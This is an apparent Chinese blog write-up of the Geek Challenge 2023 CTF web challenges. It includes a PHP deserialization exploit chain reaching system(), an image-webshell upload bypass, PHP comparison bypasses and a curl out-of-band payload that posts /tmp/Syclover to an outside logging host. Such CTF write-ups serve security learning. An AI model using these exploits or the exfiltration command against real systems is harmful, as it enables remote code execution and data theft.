目录

  1. 1. 前言
  2. 2. Web
    1. 2.1. EzHttp
    2. 2.2. unsign
    3. 2.3. n00b_Upload
    4. 2.4. easy_php
    5. 2.5. ctf_curl
    6. 2.6. flag保卫战(未完成)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

极客大挑战2023

2023/11/26 CTF线上赛
  |     |   总文章阅读量:

前言

最后一天才想起来这个没打(

Web

EzHttp

http

进入题目,

请post传参username和password进行登录

f12发现hint:密码有点记不住,所以我把密码记在了不想让爬虫获取的地方!

这个地方指的就是robots.txt

访问robots.txt,得到/o2takuXX’s_username_and_password.txt

访问这个路由,得到账户密码

username:admin
password:@dm1N123456r00t#

于是回去post传参登录,接下来是喜闻乐见的请求头环节

必须来源自sycsec.com

请使用Syclover浏览器

请从localhost访问

请使用Syc.vip代理

image-20231126150245004

得到源码

<?php
if($_SERVER['HTTP_O2TAKUXX']=="GiveMeFlag"){
    echo $flag;
}
?> 

要我们的$_SERVER['HTTP_O2TAKUXX']值等于GiveMeFlag

我们可以本地先看看$_SERVER里面都有啥

<?php
print_r($_SERVER);

image-20231126152101435

可以发现请求头的参数都会在$_SERVER里面加上HTTP_的开头

那么答案很明显了

image-20231126152239616

于是得到flag:SYC{HttP_1s_E@sY}


unsign

pop链

 <?php
highlight_file(__FILE__);
class syc
{
    public $cuit;
    public function __destruct()
    {
        echo("action!<br>");
        $function=$this->cuit;
        return $function();
    }
}

class lover
{
    public $yxx;
    public $QW;
    public function __invoke()
    {
        echo("invoke!<br>");
        return $this->yxx->QW;
    }

}

class web
{
    public $eva1;
    public $interesting;

    public function __get($var)
    {
        echo("get!<br>");
        $eva1=$this->eva1;
        $eva1($this->interesting);
    }
}
if (isset($_POST['url'])) 
{
    unserialize($_POST['url']);
}

?> 

链子很简单:syc::__destruct -> lover::__invoke -> web::__get

exp:

<?php
class syc
{
    public $cuit;
}

class lover
{
    public $yxx;
    public $QW;
}

class web
{
    public $eva1="system";
    public $interesting="ls /";
}
$a=new syc();
$a->cuit=new lover();
$a->cuit->yxx=new web();
echo serialize($a);

flag在/flag


n00b_Upload

文件上传

扎古,扎古❤,我超,柚子厨ciallo~(∠・ω< )⌒★

随便上传个马上去,发现会检测后缀、头部和内容

于是我们抓包,注意这里是https,自己设置好代理https

传个图片马上去,可以用短标签绕过内容检测

image-20231126154519845

上传成功,蚁验丁真,根据存储路径访问我们的珍珠小马

成功getshell,flag在/flag

image-20231126154623962


easy_php

php特性

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);

highlight_file(__FILE__);
include_once('flag.php');
if(isset($_GET['syc'])&&preg_match('/^Welcome to GEEK 2023!$/i', $_GET['syc']) && $_GET['syc'] !== 'Welcome to GEEK 2023!') {
    if (intval($_GET['lover']) < 2023 && intval($_GET['lover'] + 1) > 2024) {
        if (isset($_POST['qw']) && $_POST['yxx']) {
            $array1 = (string)$_POST['qw'];
            $array2 = (string)$_POST['yxx'];
            if (sha1($array1) === sha1($array2)) {
                if (isset($_POST['SYC_GEEK.2023'])&&($_POST['SYC_GEEK.2023']="Happy to see you!")) {
                    echo $flag;
                } else {
                    echo "再绕最后一步吧";
                }
            } else {
                echo "好哩,快拿到flag啦";
            }
        } else {
            echo "这里绕不过去,QW可不答应了哈";
        }
    } else {
        echo "嘿嘿嘿,你别急啊";
    }
}else {
    echo "不会吧不会吧,不会第一步就卡住了吧,yxx会瞧不起你的!";
}
?> 

第一步,%0a换行绕过

第二步,科学计数法绕过

第三步,sha1强比较

第四步,非法传参

image-20231126160042757


ctf_curl

curl带外

<?php
highlight_file('index.php');
// curl your domain
// flag is in /tmp/Syclover

if (isset($_GET['addr'])) {
    $address = $_GET['addr'];
    if(!preg_match("/;|f|:|\||\&|!|>|<|`|\(|{|\?|\n|\r/i", $address)){
        $result = system("curl ".$address."> /dev/null");
    } else {
        echo "Hacker!!!";
    }
}
?>

> /dev/null在,同时ban了;|,那么不用考虑命令注入了

不过hint告诉我们了flag在/tmp/Syclover,所以只要利用curl带外即可

?addr=-d '@/tmp/Syclover' -X POST "xxxx.ceye.io"

但是我上不去ceye.io,bp的服务器地址又有f这个字母,其它dnslog平台又用不了了,寄


flag保卫战(未完成)

f12在js中找到账密


// 访客密码  password 123456
// /flag?pass=123456
$(document).ready(function() {
    $('#loginForm').on('submit', function(e) {
        e.preventDefault();
        const username = $('#username').val();
        const password = $('#password').val();
        $.ajax({
            url: '/login',  // your login API endpoint
            type: 'POST',
            contentType: 'application/json',
            data: JSON.stringify({
                'username': username,
                'password': password
            }),
            success: function(data, textStatus, xhr) {
                if (xhr.status === 200) {
                    // handle successful login here
                    window.location.href = "/upload";
                }
            },
            error: function(xhr, textStatus, error) {
                if (xhr.status === 401) {
                    document.getElementById("error-message").textContent = "用户名或密码错误";
                }
            }
        });
    });
});

然后没空做了